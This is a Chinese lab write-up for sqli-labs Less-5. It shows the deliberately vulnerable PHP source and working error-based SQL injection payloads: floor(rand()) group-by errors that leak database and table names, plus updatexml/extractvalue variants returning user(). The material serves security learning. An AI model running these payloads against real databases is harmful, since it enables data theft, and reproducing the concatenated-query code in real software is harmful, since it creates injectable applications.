首页 > 代码库 > sqli-less5

sqli-less5

  • mysql基本函数 floor,count,rand,group_concat,concat

  • floor是取底函数,经常对小数使用,例如5.4或者5.7取底就是5,只取整数的部分,不管后面小数点的大小。
  • rand()函数用来产生0到1之间的随机数(不包括1)
  • concat,group_concat()函数有相似的功能,用于连接结果
  • 测试
    select count(*),concat(0x3a,database(),0x3a,floor(rand()*2))name from information_schema.tables group by name;
    技术分享

  • 利用这个语句可以让Mysql随机报错,报错后显示了当前的数据库名,由此可以将其他想要的结果填充到database()这个位置上

  • select count(*),concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand()*2))name from information_schema.tables group by name;
    技术分享
  • 这样显示当前数据库的第一张表的表明。

利用这些知识对sqli基础第5节进行注入

 



if(isset($_GET[‘id‘]))
{
$id=$_GET[‘id‘];
//logging the connection parameters to a file for analysis.
$fp=fopen(‘result.txt‘,‘a‘);
fwrite($fp,‘ID:‘.$id."\n");
fclose($fp);

// connectivity


$sql="SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

 if($row)
 {
   echo ‘<font size="5" color="#FFFF00">‘; 
   echo ‘You are in...........‘;
   echo "<br>";
     echo "</font>";
   }
 else
 {
 
 echo ‘<font size="3" color="#FFFF00">‘;
 print_r(mysql_error());
 echo "</br></font>"; 
 echo ‘<font color= "#0000ff" font size= 3>‘; 
 
 }
}
 else { echo "Please input the ID as parameter with numeric value";}

?>

这是第5课源代码。根据代码,如果$row不为空,就显示in 否则出错,一共就有两种结果,由于将数据库错误打印出来了,所以利用报错进行注入

技术分享

http://127.0.0.1/sqli/Less-5/?id=2‘ and( select count(*),concat(database(),0x3a,floor(rand()*2))test from information_schema.tables group by test) --+

这个语句显示sql语句出错,这种出错显然不是因为随机的出错,根据代码来看,实际的语句应该是

SELECT * FROM users WHERE id=‘2‘ and (select count(*),concat(database(),0x3a,floor(rand()*2))test from information_schema.tables group by test) --+‘

报错为:

 Operand should contain 1 column(s)

换成,

SELECT * FROM users WHERE id=‘2‘ and (select 1 from( (select count(*),concat(database(),0x3a,floor(rand()*2))test from information_schema.tables group by test))b) --+

通过(select * from( (select count(*),concat(database(),0x3a,floor(rand()*2))test from information_schema.tables group by test))b)筛选出结果。这样这个sql语句就对了

技术分享

 

 

或者先通过id=2‘ order by 3/4/5等来判断当前列数 再利用union 来查询

技术分享

剩下的只要将查询的信息,放在database()的位置上就可以了。

其他报错注入还有updatexml

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

extractvalue

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

Xpath报错有位数限制32位。

 

sqli-less5